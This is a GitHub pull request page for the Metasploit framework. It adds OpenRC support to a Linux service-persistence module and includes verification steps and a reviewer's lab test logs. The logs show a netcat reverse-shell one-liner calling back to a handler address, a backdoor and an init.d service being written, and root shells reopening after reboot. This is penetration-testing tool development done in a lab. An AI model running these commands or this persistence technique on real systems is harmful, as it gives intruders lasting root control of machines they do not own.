Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add openrc to exploits/linux/local/service_persistence.rb #19480

Merged
merged 1 commit into from
Oct 2, 2024

Conversation

jvoisin
Copy link
Contributor

@jvoisin jvoisin commented Sep 19, 2024

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Get a session on a system using openrc, like Alpine Linux
  • use exploits/linux/local/service_persistence
  • Verify the you get a new session
  • Reboot the target
  • Verify the you get a new session

@jvoisin jvoisin mentioned this pull request Sep 19, 2024
17 tasks
@jheysel-r7 jheysel-r7 self-assigned this Oct 1, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the enhancement @jvoisin! After making the small adjustment mentioned below running the module with target = openrc returned a session right away and also when the target was rebooted.

Testing

Running the module

msf6 exploit(linux/local/service_persistence) > rexploit
[*] Reloading module...

[+] mkfifo /tmp/etbesqb; nc 172.16.199.1 5545 0</tmp/etbesqb | /bin/sh >/tmp/etbesqb 2>&1; rm /tmp/etbesqb
[*] Started reverse TCP handler on 172.16.199.1:5545
[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter. This module works with: .
[*] Writing backdoor to /usr/local/bin/xABAF
[*] Writing service: /etc/init.d/bacMfRj
[*] Writing '/etc/init.d/bacMfRj' (140 bytes) ...
[*] Enabling service
[*] Starting service
[*] Command shell session 4 opened (172.16.199.1:5545 -> 172.16.199.132:45037) at 2024-10-01 14:55:36 -0700

id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Rebooting the target

msf6 payload(cmd/unix/reverse_netcat) > to_handler
[*] Payload Handler Started as Job 4

[*] Started reverse TCP handler on 172.16.199.1:5545
msf6 payload(cmd/unix/reverse_netcat) > [*] 172.16.199.132 - Meterpreter session 3 closed.  Reason: Died

msf6 payload(cmd/unix/reverse_netcat) > [*] Command shell session 5 opened (172.16.199.1:5545 -> 172.16.199.132:46423) at 2024-10-01 15:02:46 -0700

msf6 payload(cmd/unix/reverse_netcat) > sessions -i -1
[*] Starting interaction with 5...

uname -a
Linux localhost 6.6.53-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2024-10-01 07:56:52 x86_64 Linux
id
uid=0(root) gid=0(root)

modules/exploits/linux/local/service_persistence.rb Outdated Show resolved Hide resolved
@jvoisin
Copy link
Contributor Author

jvoisin commented Oct 2, 2024

Thank you @smcintyre-r7 for fixing the issues <3

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @jvoisin, works like a charm.

Testing

When running the module for the first time

msf6 exploit(linux/local/service_persistence) > run

[*] Started reverse TCP handler on 172.16.199.1:5757
[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter. This module works with: .
[*] Writing '/etc/init.d/soLbpsw' (140 bytes) ...
[*] Command shell session 4 opened (172.16.199.1:5757 -> 172.16.199.132:40923) at 2024-10-02 14:31:49 -0700

id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uname -a
Linux localhost 6.6.53-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2024-10-01 07:56:52 x86_64 Linux

When rebooting the victim machine

msf6 payload(cmd/unix/reverse_netcat) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 payload(cmd/unix/reverse_netcat) > set lport 5757
lport => 5757
msf6 payload(cmd/unix/reverse_netcat) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 172.16.199.1:5757
msf6 payload(cmd/unix/reverse_netcat) > jobs

Jobs
====

  Id  Name                    Payload                            Payload opts
  --  ----                    -------                            ------------
  0   Exploit: multi/handler  cmd/unix/reverse_netcat            tcp://172.16.199.1:5757

msf6 payload(cmd/unix/reverse_netcat) > [*] 172.16.199.132 - Meterpreter session 3 closed.  Reason: Died
[*] Command shell session 6 opened (172.16.199.1:5757 -> 172.16.199.132:43189) at 2024-10-02 14:33:01 -0700
msf6 payload(cmd/unix/reverse_netcat) > sessions -i -1
[*] Starting interaction with 6...

id
uid=0(root) gid=0(root)
uname -a
Linux localhost 6.6.53-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2024-10-01 07:56:52 x86_64 Linux

@jheysel-r7 jheysel-r7 added enhancement rn-enhancement release notes enhancement labels Oct 2, 2024
@jheysel-r7 jheysel-r7 merged commit 8d69720 into rapid7:master Oct 2, 2024
38 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

This updates exploits/linux/local/service_persistence.rb to work on systems that are running OpenRC. This module will create a service on the box, and mark it for auto-restart.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement rn-enhancement release notes enhancement
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants